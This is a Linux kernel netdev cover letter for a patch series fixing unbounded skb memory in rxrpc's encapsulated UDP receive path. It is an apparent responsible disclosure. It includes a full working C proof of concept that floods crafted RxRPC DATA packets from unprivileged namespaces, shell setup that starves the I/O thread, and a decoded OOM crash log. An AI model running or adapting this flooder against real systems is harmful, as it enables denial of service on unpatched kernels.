* [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion
@ 2026-10-14 16:58 Zihan Xi
2026-10-14 16:58 ` [PATCH net v9 1/3] rxrpc: account encapsulated packets to UDP socket Zihan Xi
` (3 more replies)
0 siblings, 4 replies; 6+ messages in thread
From: Zihan Xi @ 2026-10-14 16:58 UTC (permalink / raw)
To: linux-afs, netdev
Cc: dhowells, marc.dionne, davem, edumazet, pabeni, horms, vega, root,
zihanx
Hi Linux kernel maintainers,
We found and validated an issue in net/rxrpc/io_thread.c,
net/rxrpc/local_object.c, net/rxrpc/conn_event.c and
net/rxrpc/input.c. The bug is reachable by a non-root user via a user
namespace and a network namespace. We've tested it, and it should not
affect any other functionality.
The recorded baseline run is unpatched.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
rxrpc_encap_rcv() queues encapsulated UDP skbs on the RxRPC local queue
without charging them to the UDP socket's receive memory. If the I/O
thread cannot keep up, the local queue is not bounded by the UDP socket's
receive buffer.
After the I/O thread dequeues a packet, it can remain on conn->rx_queue,
in managed RXGK OOB or pending-response queues, or in a call's
recvmsg_queue without remaining under the UDP socket's rmem limit. The
DATA receive sequence window advances when packets arrive, while
rx_consumed advances only when the application reads them. Per-call
windows therefore do not bound retained DATA across multiple calls.
The unpatched net/main baseline at
af32da41b0327b9c6a37856ba82b6760d6c8d10e was tested in a 2-vCPU,
2-GiB QEMU guest with AF_RXRPC, AFS and KASAN enabled. The callback
listener was active on UDP 7001, and krxrpcio/7001 was starved by
a SCHED_FIFO priority-99 task on the same CPU. An unprivileged
sender with UID 1001 sent IPv6 UDP datagrams for 30 seconds from
16 threads. Each UDP payload was 36 bytes: a 28-byte RxRPC header
and an 8-byte application payload.
The run reached a system-wide OOM at 275.016 seconds. The decoded OOM
data recorded skbuff_small_head at 521844 KB and skbuff_head_cache at
243491 KB, while rxrpc_call_jar was 197 KB. The allocation path was the
sender's udpv6_sendmsg() -> sock_alloc_send_pskb() -> __alloc_skb();
this is the downstream symptom of the accumulated skb memory, rather
than a trace at the enqueue site. The guest panicked before a packet
count could be printed. These measured baseline results are the evidence
for the bug. The decoded crash log is included below; it was produced with
./scripts/decode_stacktrace.sh.
This series is split into UDP receive accounting, connection/OOB queue
budgeting, and DATA receive-queue budgeting.
Changes since v8:
- Split the fix into UDP accounting, connection/OOB queue budgeting,
and DATA receive-queue budgeting patches.
- Attribute the aggregate DATA accounting gap to 248f219cb8bc.
- Clarify that each 36-byte UDP payload contains a 28-byte RxRPC
header and an 8-byte application payload.
- Apply netdev reverse-xmas ordering to the receive-budget helper.
- Include the decoded baseline OOM and panic output in the cover letter.
Link: https://lore.kernel.org/all/cover.1791428529.git.zihanx@nebusec.ai/
Reproducer:
gcc -O2 -static -pthread -o poc_rxrpc_mem poc.c
unshare -Urn ./poc_rxrpc_mem -t 16 -s 30 -l 8
packetdrill is not used here because the trigger depends on a sustained
multi-threaded flood with unique call IDs and deliberate I/O-thread
starvation, rather than a finite deterministic packet sequence.
The namespace command exercises the flood as a non-root user in a user
and network namespace. The OOM measurements above additionally used
privileged setup to pin krxrpcio/7001 and run a SCHED_FIFO hog on the
other CPU; those conditions are not part of the non-root reachability
claim. For the recorded run, an AFS callback listener was already active
on UDP 7001 and the PoC reused it with -e:
sysctl -w vm.panic_on_oom=1
sysctl -w vm.overcommit_memory=2
sysctl -w vm.overcommit_ratio=50
sysctl -w kernel.panic_on_warn=0
IO_PID=$(ps -eT -o tid=,comm= | awk '$2 == "krxrpcio/7001" {print $1; exit}')
taskset -p 2 "$IO_PID"
taskset -c 1 chrt -f 99 /bin/sh -c 'while :; do :; done' &
ip link set lo up
taskset -c 0 runuser -u test_user -- ./poc_rxrpc_mem -e -t 16 -s 30 -l 8
The privileged setup brings lo up before runuser. The PoC then skips
SIOCSIFFLAGS because lo is already up, so test_user does not need
CAP_NET_ADMIN for the recorded sender run.
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <net/if.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#define RXRPC_PACKET_TYPE_DATA 1
#define RXRPC_CLIENT_INITIATED 0x01
#define RXRPC_SERVICE_ID 1
#ifndef AF_RXRPC
#define AF_RXRPC 33
#endif
#define AFS_CB_CALLBACK_OP 204
#define DEFAULT_PORT 7001
#define DEFAULT_THREADS 4
#define DEFAULT_SECONDS 20
#define DEFAULT_PAYLOAD 8
struct __attribute__((packed)) rxrpc_wire_header {
uint32_t epoch;
uint32_t cid;
uint32_t callNumber;
uint32_t seq;
uint32_t serial;
uint8_t type;
uint8_t flags;
uint8_t userStatus;
uint8_t securityIndex;
uint16_t reserved;
uint16_t serviceId;
};
struct rxrpc_sockaddr {
sa_family_t srx_family;
uint16_t srx_service;
uint16_t transport_type;
uint16_t transport_len;
union {
sa_family_t family;
struct sockaddr_in sin;
struct sockaddr_in6 sin6;
} transport;
};
struct thread_args {
struct sockaddr_in6 dst;
int seconds;
size_t payload_len;
uint32_t cid_seed;
unsigned long sent;
};
static volatile sig_atomic_t stop_flag;
static void on_alarm(int sig)
{
(void)sig;
stop_flag = 1;
}
static void *sender_thread(void *arg)
{
struct thread_args *ta = arg;
int fd;
char *packet;
struct rxrpc_wire_header *hdr;
uint32_t *op;
uint32_t *count;
uint32_t seq = 1;
uint32_t cid = ta->cid_seed;
fd = socket(AF_INET6, SOCK_DGRAM, 0);
if (fd < 0) {
perror("socket");
return NULL;
}
packet = malloc(sizeof(*hdr) + ta->payload_len);
if (!packet) {
perror("malloc");
close(fd);
return NULL;
}
memset(packet + sizeof(*hdr), 0, ta->payload_len);
hdr = (struct rxrpc_wire_header *)packet;
hdr->callNumber = htonl(1);
hdr->type = RXRPC_PACKET_TYPE_DATA;
hdr->flags = RXRPC_CLIENT_INITIATED;
hdr->userStatus = 0;
hdr->securityIndex = 0;
hdr->reserved = 0;
hdr->serviceId = htons(RXRPC_SERVICE_ID);
op = (uint32_t *)(packet + sizeof(*hdr));
*op = htonl(AFS_CB_CALLBACK_OP);
if (ta->payload_len >= 8) {
count = op + 1;
*count = htonl(1);
}
/*
* Each datagram is a new incoming RxRPC call (seq=1, unique cid).
* That makes the I/O thread do full incoming-call setup, so it
* falls behind encap_rcv and local->rx_queue can grow.
*/
while (!stop_flag) {
hdr->epoch = htonl(0x80000000u | cid);
hdr->cid = htonl(cid << 2);
hdr->seq = htonl(1);
hdr->serial = htonl(seq);
if (sendto(fd, packet, sizeof(*hdr) + ta->payload_len, 0,
(struct sockaddr *)&ta->dst, sizeof(ta->dst)) >= 0) {
ta->sent++;
seq++;
cid += 32;
}
}
free(packet);
close(fd);
return NULL;
}
static int bring_up_lo(void)
{
struct ifreq ifr;
int fd;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
return -1;
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, "lo");
if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) {
close(fd);
return -1;
}
if (ifr.ifr_flags & IFF_UP) {
close(fd);
return 0;
}
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) {
close(fd);
return -1;
}
close(fd);
return 0;
}
static int start_rxrpc_listener(uint16_t port)
{
struct rxrpc_sockaddr srx;
int fd;
fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET6);
if (fd < 0)
return -1;
memset(&srx, 0, sizeof(srx));
srx.srx_family = AF_RXRPC;
srx.srx_service = RXRPC_SERVICE_ID;
srx.transport_type = SOCK_DGRAM;
srx.transport_len = sizeof(struct sockaddr_in6);
srx.transport.sin6.sin6_family = AF_INET6;
srx.transport.sin6.sin6_port = htons(port);
if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0 ||
listen(fd, 1) < 0) {
close(fd);
return -1;
}
return fd;
}
static void usage(const char *prog)
{
fprintf(stderr, "Usage: %s [-a addr] [-p port] [-t threads] [-s seconds] [-l payload_len] [-e]\n", prog);
}
int main(int argc, char **argv)
{
struct sockaddr_in6 dst = {
.sin6_family = AF_INET6,
.sin6_port = htons(DEFAULT_PORT),
};
const char *addr = "::1";
int threads = DEFAULT_THREADS;
int seconds = DEFAULT_SECONDS;
size_t payload_len = DEFAULT_PAYLOAD;
pthread_t *tids;
struct thread_args *args;
unsigned long total = 0;
int listener_fd;
int use_existing_listener = 0;
int opt;
while ((opt = getopt(argc, argv, "a:p:t:s:l:eh")) != -1) {
switch (opt) {
case 'a':
addr = optarg;
break;
case 'p':
dst.sin6_port = htons((uint16_t)strtoul(optarg, NULL, 0));
break;
case 't':
threads = atoi(optarg);
break;
case 's':
seconds = atoi(optarg);
break;
case 'l':
payload_len = strtoul(optarg, NULL, 0);
break;
case 'e':
use_existing_listener = 1;
break;
default:
usage(argv[0]);
return 1;
}
}
if (threads <= 0 || seconds <= 0 || payload_len < 4 || payload_len > 65000) {
usage(argv[0]);
return 1;
}
if (inet_pton(AF_INET6, addr, &dst.sin6_addr) != 1) {
perror("inet_pton");
return 1;
}
if (bring_up_lo() < 0) {
perror("bring_up_lo");
return 1;
}
listener_fd = -1;
if (!use_existing_listener) {
listener_fd = start_rxrpc_listener(ntohs(dst.sin6_port));
if (listener_fd < 0) {
perror("start_rxrpc_listener");
return 1;
}
}
signal(SIGALRM, on_alarm);
alarm(seconds);
tids = calloc((size_t)threads, sizeof(*tids));
args = calloc((size_t)threads, sizeof(*args));
if (!tids || !args) {
perror("calloc");
return 1;
}
pthread_attr_t attr;
if (pthread_attr_init(&attr) != 0) {
perror("pthread_attr_init");
return 1;
}
if (pthread_attr_setstacksize(&attr, 64 * 1024) != 0) {
perror("pthread_attr_setstacksize");
return 1;
}
for (int i = 0; i < threads; i++) {
args[i].dst = dst;
args[i].seconds = seconds;
args[i].payload_len = payload_len;
args[i].cid_seed = 1 + (uint32_t)i;
if (pthread_create(&tids[i], &attr, sender_thread, &args[i]) != 0) {
fprintf(stderr, "pthread_create(%d) failed: %s\n", i, strerror(errno));
stop_flag = 1;
threads = i;
break;
}
}
pthread_attr_destroy(&attr);
for (int i = 0; i < threads; i++) {
pthread_join(tids[i], NULL);
total += args[i].sent;
}
printf("sent_packets=%lu payload_len=%zu threads=%d duration=%d\n",
total, payload_len, threads, seconds);
free(args);
free(tids);
if (listener_fd >= 0)
close(listener_fd);
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 275.016678][ T9427] poc_rxrpc_mem invoked oom-killer: gfp_mask=0x40cc0(GFP_KERNEL|__GFP_COMP), order=0, oom_score_adj=0
[ 275.016736][ T9427] CPU: 0 UID: 1001 PID: 9427 Comm: poc_rxrpc_mem Not tainted 7.3.0-rc6+ #1 PREEMPT(full)
[ 275.016747][ T9427] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 275.016751][ T9427] Call Trace:
[ 275.016779][ T9427] <TASK>
[ 275.016790][ T9427] dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[ 275.016925][ T9427] dump_stack (lib/dump_stack.c:129)
[ 275.016932][ T9427] dump_header (mm/oom_kill.c:464)
[ 275.017004][ T9427] out_of_memory (mm/oom_kill.c:1075 mm/oom_kill.c:1143)
[ 275.017019][ T9427] ? __pfx_out_of_memory (mm/oom_kill.c:835)
[ 275.017034][ T9427] __alloc_frozen_pages_noprof (mm/page_alloc.c:4113 mm/page_alloc.c:5030 mm/page_alloc.c:5449)
[ 275.017060][ T9427] ? __pfx___alloc_frozen_pages_noprof (mm/page_alloc.c:4022)
[ 275.017074][ T9427] ? stack_trace_save (kernel/stacktrace.c:122 (discriminator 1))
[ 275.017101][ T9427] ? __sanitizer_cov_trace_const_cmp4 (kernel/kcov.c:310)
[ 275.017133][ T9427] ? __lock_acquire (kernel/locking/lockdep.c:4718 kernel/locking/lockdep.c:5242)
[ 275.017151][ T9427] ? kmalloc_reserve (net/core/skbuff.c:615 (discriminator 2))
[ 275.017206][ T9427] ? __sanitizer_cov_trace_const_cmp8 (kernel/kcov.c:317)
[ 275.017217][ T9427] ? policy_nodemask (mm/mempolicy.c:2304 (discriminator 1))
[ 275.017234][ T9427] alloc_pages_mpol (mm/mempolicy.c:2486)
[ 275.017244][ T9427] ? __pfx_alloc_pages_mpol (mm/mempolicy.c:2275)
[ 275.017257][ T9427] alloc_frozen_pages_noprof (mm/mempolicy.c:2557 (discriminator 1))
[ 275.017269][ T9427] allocate_slab (mm/slub.c:3345 (discriminator 2) mm/slub.c:3470)
[ 275.017281][ T9427] new_slab (mm/slub.c:3513)
[ 275.017292][ T9427] ___slab_alloc (mm/slub.c:4568)
[ 275.017306][ T9427] kmem_cache_alloc_node_noprof (mm/slub.c:4987 mm/slub.c:5068)
[ 275.017319][ T9427] ? __local_bh_enable_ip (kernel/softirq.c:478)
[ 275.017335][ T9427] ? __alloc_skb (net/core/skbuff.c:704 (discriminator 2))
[ 275.017349][ T9427] __alloc_skb (net/core/skbuff.c:704 (discriminator 2))
[ 275.017359][ T9427] ? __alloc_skb (include/linux/bottom_half.h:20 (discriminator 1) net/core/skbuff.c:697)
[ 275.017370][ T9427] ? __pfx___alloc_skb (include/linux/fortify-string.h:447)
[ 275.017382][ T9427] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 275.017391][ T9427] ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4516)
[ 275.017407][ T9427] alloc_skb_with_frags (include/linux/skbuff.h:1384 net/core/skbuff.c:6803)
[ 275.017424][ T9427] sock_alloc_send_pskb (net/core/sock.c:3022)
[ 275.017436][ T9427] ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4516)
[ 275.017451][ T9427] ? __pfx_sock_alloc_send_pskb (net/core/sock.c:2854 (discriminator 2))
[ 275.017463][ T9427] ? debug_smp_processor_id (lib/smp_processor_id.c:58)
[ 275.017474][ T9427] ? __lock_acquire (kernel/locking/lockdep.c:4718 kernel/locking/lockdep.c:5242)
[ 275.017486][ T9427] __ip6_append_data (include/net/sock.h:1907 net/ipv6/ip6_output.c:1695)
[ 275.017511][ T9427] ? find_held_lock (kernel/locking/lockdep.c:5401)
[ 275.017526][ T9427] ? __pfx_ip_generic_getfrag (include/linux/skbuff.h:3143)
[ 275.017548][ T9427] ? __pfx___ip6_append_data (net/ipv6/ip6_output.c:2063)
[ 275.017557][ T9427] ? ip6_mtu (net/ipv6/route.c:3296)
[ 275.017569][ T9427] ? ip6_setup_cork (net/ipv6/ip6_output.c:1450)
[ 275.017581][ T9427] ip6_make_skb (net/ipv6/ip6_output.c:2094)
[ 275.017592][ T9427] ? __pfx_ip_generic_getfrag (include/linux/skbuff.h:3143)
[ 275.017605][ T9427] ? __pfx_ip6_make_skb (net/ipv6/ip6_output.c:2040)
[ 275.017618][ T9427] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 275.017632][ T9427] udpv6_sendmsg (net/ipv6/udp.c:1720)
[ 275.017643][ T9427] ? udpv6_sendmsg (net/ipv6/udp.c:1720)
[ 275.017655][ T9427] ? find_held_lock (kernel/locking/lockdep.c:5401)
[ 275.017672][ T9427] ? __pfx_udpv6_sendmsg (net/ipv6/udp.c:338)
[ 275.017684][ T9427] ? __sanitizer_cov_trace_const_cmp4 (kernel/kcov.c:310)
[ 275.017697][ T9427] ? __pfx_avc_has_perm (security/selinux/avc.c:1154)
[ 275.017755][ T9427] ? sock_has_perm (security/selinux/hooks.c:5054 (discriminator 1))
[ 275.017774][ T9427] ? __pfx_udpv6_sendmsg (net/ipv6/udp.c:338)
[ 275.017786][ T9427] inet6_sendmsg (net/ipv6/af_inet6.c:641 (discriminator 4))
[ 275.017798][ T9427] ? inet6_sendmsg (net/ipv6/af_inet6.c:641 (discriminator 4))
[ 275.017811][ T9427] __sys_sendto (net/socket.c:800 (discriminator 1) net/socket.c:815 net/socket.c:2281)
[ 275.017823][ T9427] ? __pfx___sys_sendto (net/socket.c:2235)
[ 275.017837][ T9427] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 275.017851][ T9427] ? xfd_validate_state (arch/x86/kernel/fpu/xstate.c:1544)
[ 275.017875][ T9427] __x64_sys_sendto (net/socket.c:2288 net/socket.c:2284 net/socket.c:2284)
[ 275.017886][ T9427] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 275.017895][ T9427] ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4516)
[ 275.017908][ T9427] x64_sys_call (arch/x86/include/generated/asm/syscalls_64.h:45)
[ 275.017925][ T9427] do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[ 275.017940][ T9427] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 275.017950][ T9427] RIP: 0033:0x423104
[ 275.017958][ T9427] Code: 7d e8 89 4d d4 e8 ac e7 02 00 44 8b 4d d0 4c 8b 45 c8 89 c3 44 8b 55 d4 8b 7d e8 b8 2c 00 00 00 48 8b 55 d8 48 8b 75 e0 0f 05 <48> 3d 00 f0 ff ff 77 34 89 df 48 89 45 e8 e8 f9 e7 02 00 48 8b 45
All code
========
0: 7d e8 jge 0xffffffffffffffea
2: 89 4d d4 mov %ecx,-0x2c(%rbp)
5: e8 ac e7 02 00 call 0x2e7b6
a: 44 8b 4d d0 mov -0x30(%rbp),%r9d
e: 4c 8b 45 c8 mov -0x38(%rbp),%r8
12: 89 c3 mov %eax,%ebx
14: 44 8b 55 d4 mov -0x2c(%rbp),%r10d
18: 8b 7d e8 mov -0x18(%rbp),%edi
1b: b8 2c 00 00 00 mov $0x2c,%eax
20: 48 8b 55 d8 mov -0x28(%rbp),%rdx
24: 48 8b 75 e0 mov -0x20(%rbp),%rsi
28: 0f 05 syscall
2a:* 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax <-- trapping instruction
30: 77 34 ja 0x66
32: 89 df mov %ebx,%edi
34: 48 89 45 e8 mov %rax,-0x18(%rbp)
38: e8 f9 e7 02 00 call 0x2e836
3d: 48 rex.W
3e: 8b .byte 0x8b
3f: 45 rex.RB
Code starting with the faulting instruction
===========================================
0: 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax
6: 77 34 ja 0x3c
8: 89 df mov %ebx,%edi
a: 48 89 45 e8 mov %rax,-0x18(%rbp)
e: e8 f9 e7 02 00 call 0x2e80c
13: 48 rex.W
14: 8b .byte 0x8b
15: 45 rex.RB
[ 275.017968][ T9427] RSP: 002b:00007fd17b1191b0 EFLAGS: 00000293 ORIG_RAX: 000000000000002c
[ 275.017985][ T9427] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 0000000000423104
[ 275.017991][ T9427] RDX: 0000000000000024 RSI: 00007fd15c000b70 RDI: 0000000000000008
[ 275.017997][ T9427] RBP: 00007fd17b1191f0 R08: 000000001c46aae8 R09: 000000000000001c
[ 275.018002][ T9427] R10: 0000000000000000 R11: 0000000000000293 R12: 00000000000087cf
[ 275.018008][ T9427] R13: 000000008010f9c6 R14: 000000000043e718 R15: 000000001c46aae8
[ 275.018020][ T9427] </TASK>
[ 275.048339][ T9427] Mem-Info:
[ 275.048347][ T9427] active_anon:2922 inactive_anon:6285 isolated_anon:0
[ 275.048347][ T9427] active_file:0 inactive_file:27 isolated_file:0
[ 275.048347][ T9427] unevictable:1768 dirty:0 writeback:3
[ 275.048347][ T9427] slab_reclaimable:11444 slab_unreclaimable:236232
[ 275.048347][ T9427] mapped:150 shmem:2717 pagetables:574
[ 275.048347][ T9427] sec_pagetables:0 bounce:0
[ 275.048347][ T9427] kernel_misc_reclaimable:0
[ 275.048347][ T9427] free:16828 free_pcp:10 free_cma:0
[ 275.048369][ T9427] Node 0 active_anon:11688kB inactive_anon:25140kB active_file:0kB inactive_file:108kB unevictable:7072kB isolated(anon):0kB isolated(file):0kB mapped:600kB dirty:0kB writeback:12kB shmem:10868kB shmem_thp:0kB shmem_pmdmapped:0kB anon_thp:0kB kernel_stack:9728kB pagetables:2296kB sec_pagetables:0kB all_unreclaimable? no Balloon:0kB gpu_active:0kB gpu_reclaim:0kB
[ 275.048392][ T9427] Node 0 DMA free:5696kB boost:0kB min:524kB low:652kB high:780kB reserved_highatomic:0kB free_highatomic:0kB active_anon:0kB inactive_anon:0kB active_file:0kB inactive_file:0kB unevictable:0kB writepending:0kB zspages:0kB present:15992kB managed:15360kB mlocked:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB
[ 275.048420][ T9427] lowmem_reserve[]: 0 1295 1295 1295 1295
[ 275.048435][ T9427] Node 0 DMA32 free:61616kB boost:18432kB min:62960kB low:74092kB high:85224kB reserved_highatomic:0kB free_highatomic:0kB active_anon:11688kB inactive_anon:25140kB active_file:0kB inactive_file:108kB unevictable:7072kB writepending:12kB zspages:0kB present:2080640kB managed:1326300kB mlocked:0kB bounce:0kB free_pcp:40kB local_pcp:40kB free_cma:0kB
[ 275.048459][ T9427] lowmem_reserve[]: 0 0 0 0 0
[ 275.048472][ T9427] Node 0 DMA: 0*4kB 0*8kB 0*16kB 0*32kB 1*64kB (U) 0*128kB 0*256kB 1*512kB (U) 1*1024kB (U) 2*2048kB (UM) 0*4096kB = 5696kB
[ 275.048531][ T9427] Node 0 DMA32: 2469*4kB (UME) 729*8kB (UME) 364*16kB (UME) 196*32kB (UME) 104*64kB (UME) 60*128kB (ME) 26*256kB (ME) 19*512kB (UM) 1*1024kB (M) 1*2048kB (M) 0*4096kB = 61596kB
[ 275.048596][ T9427] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=1048576kB
[ 275.048602][ T9427] Node 0 hugepages_total=4 hugepages_free=4 hugepages_surp=0 hugepages_size=2048kB
[ 275.048609][ T9427] 2916 total pagecache pages
[ 275.048611][ T9427] 0 pages in swap cache
[ 275.048614][ T9427] Free swap = 0kB
[ 275.048617][ T9427] Total swap = 0kB
[ 275.048619][ T9427] 524158 pages RAM
[ 275.048622][ T9427] 0 pages HighMem/MovableOnly
[ 275.048627][ T9427] 188743 pages reserved
[ 275.048629][ T9427] 0 pages cma reserved
[ 275.048632][ T9427] Unreclaimable slab info:
[ 275.048635][ T9427] Name Used Total
[ 275.048644][ T9427] bio-464 1KB 15KB
[ 275.048650][ T9427] bio-528 3KB 15KB
[ 275.048656][ T9427] bio-544 1KB 15KB
[ 275.048662][ T9427] bio-552 1KB 15KB
[ 275.048736][ T9427] TIPC 1KB 31KB
[ 275.048743][ T9427] SCTPv6 2KB 30KB
[ 275.048750][ T9427] RXRPC 2KB 30KB
[ 275.048755][ T9427] rxrpc_call_jar 197KB 217KB
[ 275.048762][ T9427] fib6_node 2KB 4KB
[ 275.048767][ T9427] ip6_dst_cache 1KB 7KB
[ 275.048773][ T9427] RAWv6 17KB 30KB
[ 275.048778][ T9427] UDPv6 40KB 61KB
[ 275.048784][ T9427] TCPv6 10KB 31KB
[ 275.048796][ T9427] t10_alua_lu_gp_cache 0KB 7KB
[ 275.048802][ T9427] scsi_sense_cache 2KB 3KB
[ 275.048808][ T9427] virtio_scsi_cmd 24KB 31KB
[ 275.048813][ T9427] bio-136 43KB 45KB
[ 275.048824][ T9427] bio-264 1KB 7KB
[ 275.048847][ T9427] mqueue_inode_cache 1KB 30KB
[ 275.048855][ T9427] f2fs_evict_inode_work 1KB 3KB
[ 275.048862][ T9427] bio-272 4KB 8KB
[ 275.048867][ T9427] f2fs_bio_post_read_ctx 28KB 31KB
[ 275.048892][ T9427] jfs_mp 9KB 11KB
[ 275.048902][ T9427] cifs_small_rq 18KB 22KB
[ 275.048909][ T9427] cifs_request 67KB 67KB
[ 275.048914][ T9427] cifs_mpx_ids 1KB 7KB
[ 275.048919][ T9427] cifs_io_subrequest 50KB 56KB
[ 275.048924][ T9427] cifs_io_request 100KB 112KB
[ 275.048932][ T9427] nfs_commit_data 4KB 16KB
[ 275.048939][ T9427] nfs_write_data 38KB 46KB
[ 275.048949][ T9427] jbd2_inode 5KB 7KB
[ 275.048955][ T9427] ext4_system_zone 1KB 11KB
[ 275.048960][ T9427] ext4_io_end_vec 0KB 3KB
[ 275.048969][ T9427] fasync_cache 0KB 3KB
[ 275.048976][ T9427] kvm_gmem_inode_cache 1KB 15KB
[ 275.048982][ T9427] rpc_buffers 18KB 31KB
[ 275.048987][ T9427] rpc_tasks 3KB 7KB
[ 275.048993][ T9427] UNIX-STREAM 38KB 189KB
[ 275.048998][ T9427] UNIX 42KB 63KB
[ 275.049004][ T9427] tcp_bind2_bucket 1KB 4KB
[ 275.049009][ T9427] tcp_bind_bucket 0KB 4KB
[ 275.049015][ T9427] ip_fib_trie 1KB 3KB
[ 275.049020][ T9427] ip_fib_alias 1KB 3KB
[ 275.049046][ T9427] rtable 1KB 7KB
[ 275.049052][ T9427] RAW 12KB 32KB
[ 275.049057][ T9427] UDP 4KB 63KB
[ 275.049062][ T9427] tw_sock_TCP 0KB 7KB
[ 275.049067][ T9427] request_sock_TCP 0KB 7KB
[ 275.049073][ T9427] TCP 10KB 30KB
[ 275.049078][ T9427] fs_bio_integrity 0KB 4KB
[ 275.049084][ T9427] hugetlbfs_inode_cache 3KB 15KB
[ 275.049089][ T9427] netfs_subrequest 37KB 39KB
[ 275.049095][ T9427] netfs_request 100KB 112KB
[ 275.049100][ T9427] bio-288 32KB 32KB
[ 275.049105][ T9427] bio-328 2KB 8KB
[ 275.049110][ T9427] ep_head 6KB 19KB
[ 275.049116][ T9427] eventpoll_pwq 9KB 31KB
[ 275.049122][ T9427] eventpoll_epi 16KB 45KB
[ 275.049128][ T9427] inotify_inode_mark 27KB 31KB
[ 275.049133][ T9427] bpf_fs_inode_cache 1KB 15KB
[ 275.049139][ T9427] sgpool-128 8KB 30KB
[ 275.049144][ T9427] sgpool-64 4KB 31KB
[ 275.049149][ T9427] sgpool-32 2KB 30KB
[ 275.049154][ T9427] sgpool-16 3KB 31KB
[ 275.049160][ T9427] sgpool-8 2KB 31KB
[ 275.049165][ T9427] bio_crypt_ctx 19KB 19KB
[ 275.049170][ T9427] bio_integrity_data 0KB 7KB
[ 275.049175][ T9427] request_queue 161KB 182KB
[ 275.049180][ T9427] blkdev_ioc 0KB 7KB
[ 275.049186][ T9427] bio-200 20KB 31KB
[ 275.049191][ T9427] biovec-max 511KB 520KB
[ 275.049196][ T9427] biovec-128 0KB 31KB
[ 275.049201][ T9427] biovec-64 0KB 45KB
[ 275.049207][ T9427] biovec-16 0KB 23KB
[ 275.049213][ T9427] uid_cache 0KB 7KB
[ 275.049219][ T9427] dmaengine-unmap-256 2KB 31KB
[ 275.049224][ T9427] dmaengine-unmap-128 1KB 15KB
[ 275.049229][ T9427] dmaengine-unmap-16 0KB 7KB
[ 275.049234][ T9427] dmaengine-unmap-2 0KB 4KB
[ 275.049238][ T9427] QIPCRTR 1KB 30KB
[ 275.049243][ T9427] audit_buffer 0KB 7KB
[ 275.049249][ T9427] skbuff_small_head 521844KB 521859KB
[ 275.049255][ T9427] skbuff_fclone_cache 2KB 47KB
[ 275.049260][ T9427] skbuff_head_cache 243491KB 243491KB
[ 275.049265][ T9427] configfs_dir_cache 4KB 7KB
[ 275.049271][ T9427] file_lock_cache 0KB 30KB
[ 275.049276][ T9427] file_lock_ctx 18KB 19KB
[ 275.049281][ T9427] fsnotify_inode_mark_connector 21KB 22KB
[ 275.049287][ T9427] taskstats 1KB 15KB
[ 275.049293][ T9427] mem_cgroup_per_node 78KB 120KB
[ 275.049299][ T9427] mem_cgroup 87KB 123KB
[ 275.049305][ T9427] proc_dir_entry 308KB 339KB
[ 275.049311][ T9427] pde_opener 0KB 3KB
[ 275.049316][ T9427] seq_file 14KB 31KB
[ 275.049322][ T9427] sigqueue 0KB 11KB
[ 275.049329][ T9427] shmem_inode_cache 8435KB 8541KB
[ 275.049336][ T9427] kernfs_iattrs_cache 221KB 244KB
[ 275.049343][ T9427] kernfs_node_cache 21315KB 21388KB
[ 275.049349][ T9427] mnt_cache 54KB 78KB
[ 275.049366][ T9427] filp 360KB 819KB
[ 275.049373][ T9427] names_cache 39KB 126KB
[ 275.049378][ T9427] net_namespace 9KB 29KB
[ 275.049383][ T9427] ima_iint_cache 161KB 161KB
[ 275.049388][ T9427] hashtab_node 927KB 928KB
[ 275.049394][ T9427] ebitmap_node 2110KB 2118KB
[ 275.049399][ T9427] avtab_node 16916KB 16917KB
[ 275.049408][ T9427] avc_node 91KB 138KB
[ 275.049460][ T9427] lsm_inode_cache 6208KB 8015KB
[ 275.049470][ T9427] lsm_file_cache 98KB 253KB
[ 275.049475][ T9427] key_jar 25KB 32KB
[ 275.049480][ T9427] uts_namespace 0KB 15KB
[ 275.049486][ T9427] nsproxy 0KB 3KB
[ 275.049504][ T9427] vm_area_struct 1175KB 1968KB
[ 275.049510][ T9427] fs_cache 9KB 39KB
[ 275.049516][ T9427] files_cache 26KB 95KB
[ 275.049521][ T9427] task_exec_state 4KB 15KB
[ 275.049553][ T9427] signal_cache 536KB 1880KB
[ 275.049564][ T9427] sighand_cache 679KB 2006KB
[ 275.049581][ T9427] task_struct 2444KB 4254KB
[ 275.049591][ T9427] cred 132KB 543KB
[ 275.049603][ T9427] anon_vma_chain 316KB 511KB
[ 275.049612][ T9427] anon_vma 294KB 468KB
[ 275.049621][ T9427] pid 134KB 425KB
[ 275.049629][ T9427] Acpi-Operand 76KB 154KB
